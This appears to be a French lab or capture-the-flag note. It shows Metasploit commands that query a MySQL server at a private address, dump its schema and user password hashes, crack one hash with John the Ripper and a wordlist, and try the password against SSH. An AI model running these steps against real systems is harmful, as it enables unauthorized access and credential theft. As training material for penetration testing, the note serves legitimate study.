On peut utiliser msfconsole pour exécuter des requêtes sur un serveur MYSQL
use auxiliary/admin/mysql/mysql_sql
set rhosts 10.9.0.15
set username root
set password password
run #la requête par défault est "select version()"
set sql show databases
run
Énumération des tables
use auxiliary/scanner/mysql/mysql_schemadump
set rhosts 10.9.0.15
set username root
set password password
run
Énumération des usagers et des hash des mots de passe
use scanner/mysql/mysql_hashdump
set rhosts 10.9.0.15
set username root
set password password
run
Par la suite, on peut mettre le hash à cracker dans un fichier hash.txt
germain:*EA031893AA21444B170FC2162A56978B8CEECE18
john -wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Peut-être que le mot de passe est le même que celui pour seconnecter en SSH ?